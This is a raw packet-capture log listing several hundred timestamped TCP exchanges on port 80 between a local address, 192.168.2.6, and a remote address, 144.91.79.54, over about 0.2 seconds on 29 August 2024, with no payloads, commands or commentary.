Aug 29, 2024 18:36:59.873668909 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.873720884 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.874705076 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.874716997 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.874761105 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.876347065 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.876360893 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.876365900 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.876405954 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.878513098 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.878524065 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.878570080 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.880223989 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.880235910 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.880278111 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.881422997 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.881434917 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.881475925 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.883465052 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.883476973 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.883527040 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.885047913 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.885060072 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.885068893 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.885098934 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.887253046 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.887265921 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.887312889 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.888617992 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.888628960 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.888679028 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.890778065 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.890789032 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.890844107 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.892560959 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.892574072 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.892584085 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.892620087 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.892636061 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.894160986 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.894172907 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.894221067 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.895011902 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.895024061 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.895061970 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.896691084 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.896708965 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.896780968 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.899547100 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.899560928 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.899574995 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.899604082 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.901966095 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.902019024 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.909590006 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.909921885 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.909974098 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.910134077 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.910146952 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.910181046 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.912211895 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.912225008 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.912303925 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.914628029 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.914640903 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.914649963 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.914685965 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.916126013 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.916140079 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.916172981 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.917618990 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.917630911 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.917640924 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.917673111 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.917692900 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.918478966 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.918492079 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.918500900 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.918545008 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.919918060 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.919934034 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.919989109 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.920490026 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.920500994 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.920552969 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.921742916 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.921756983 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.921787977 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.923291922 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.923305988 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.923316002 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.923346043 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.923366070 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.924628973 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.924643040 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.924694061 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.925916910 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.925932884 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.925991058 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.928021908 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.928035021 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.928088903 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.929517031 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.929536104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.929577112 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.931370020 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.931386948 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.931397915 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.931443930 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.933271885 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.933284998 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.933326960 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.935971975 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.935985088 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.936023951 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.938203096 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.938216925 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.938268900 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.939799070 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.939817905 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.939826965 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.939862013 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.939891100 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.941325903 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.941339970 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.941382885 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.942723036 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.942734957 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.942795038 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.944272995 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.944287062 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.944350004 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.945883989 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.945895910 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.945941925 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.947324038 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.947338104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.947349072 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.947381020 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.948854923 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.948867083 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.948914051 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.950579882 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.950597048 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.950645924 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.952208996 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.952224970 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.952258110 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.953682899 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.953696966 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.953708887 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.953736067 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.953752995 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.955302000 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.955317020 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.955382109 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.956768990 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.956780910 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.956830025 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.958233118 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.958245039 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.958296061 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.959938049 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.959949970 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.959989071 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.962327003 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.962340117 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.962349892 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.962383032 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.964581966 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.964595079 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.964628935 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.967225075 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.967238903 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.967282057 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.968985081 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.968997002 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.969049931 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.970069885 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.970082998 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.970139027 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.971358061 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.971375942 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.971386909 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.971445084 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.972312927 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.972325087 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.972371101 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.973707914 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.973723888 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.973766088 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.974942923 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.974956036 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.974997044 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.976290941 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.976310015 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.976320028 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.976351976 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.977843046 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.977857113 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.977905989 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.979181051 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.979192972 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.979240894 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.980938911 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.980959892 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.981008053 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.986633062 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.986701965 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.986872911 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.986885071 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.986922979 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.987962008 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.987973928 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.988019943 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.989687920 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.989702940 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.989748001 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.001750946 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.002077103 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.002089024 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.002154112 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.003264904 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.003276110 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.003323078 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.004772902 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.004785061 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.004842043 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.006561995 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.006573915 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.006582975 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.006627083 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.008368015 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.008382082 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.008455038 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.010023117 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.010035038 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.010088921 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.012088060 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.012099981 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.012145042 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.013385057 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.013396978 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.013448954 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.015590906 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.015608072 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.015614033 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.015645981 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.016732931 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.016748905 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.016792059 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.019228935 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.019241095 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.019282103 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.021173954 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.021188021 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.021239996 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.023143053 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.023155928 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.023165941 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.023212910 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.025152922 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.025166035 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.025229931 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.027002096 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.027014017 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.027062893 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.029045105 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.029057980 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.029103994 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.030721903 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.030735970 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.030777931 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.033058882 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.033080101 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.033091068 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.033140898 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.034511089 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.034523964 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.034569979 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.036796093 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.036828041 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.036868095 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.038005114 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.038017988 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.038059950 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.040492058 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.040503979 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.040514946 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.040569067 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.041729927 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.041743040 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.041769028 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.041817904 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.044504881 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.044521093 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.044585943 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.045936108 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.045955896 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.046026945 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.048264980 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.048281908 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.048357964 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.048835993 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.048846960 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.048856974 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.048888922 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.051806927 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.051822901 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.051892996 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.052179098 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.052190065 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.052246094 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.055074930 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.055088997 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.055151939 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.055275917 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.055288076 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.055298090 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.055329084 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.055365086 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.058353901 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.058386087 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.058460951 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.058754921 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.058767080 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.058804989 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.061712027 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.061727047 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.061784983 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.062292099 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.062304974 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.062377930 CEST	49710	80	192.168.2.6	144.91.79.54
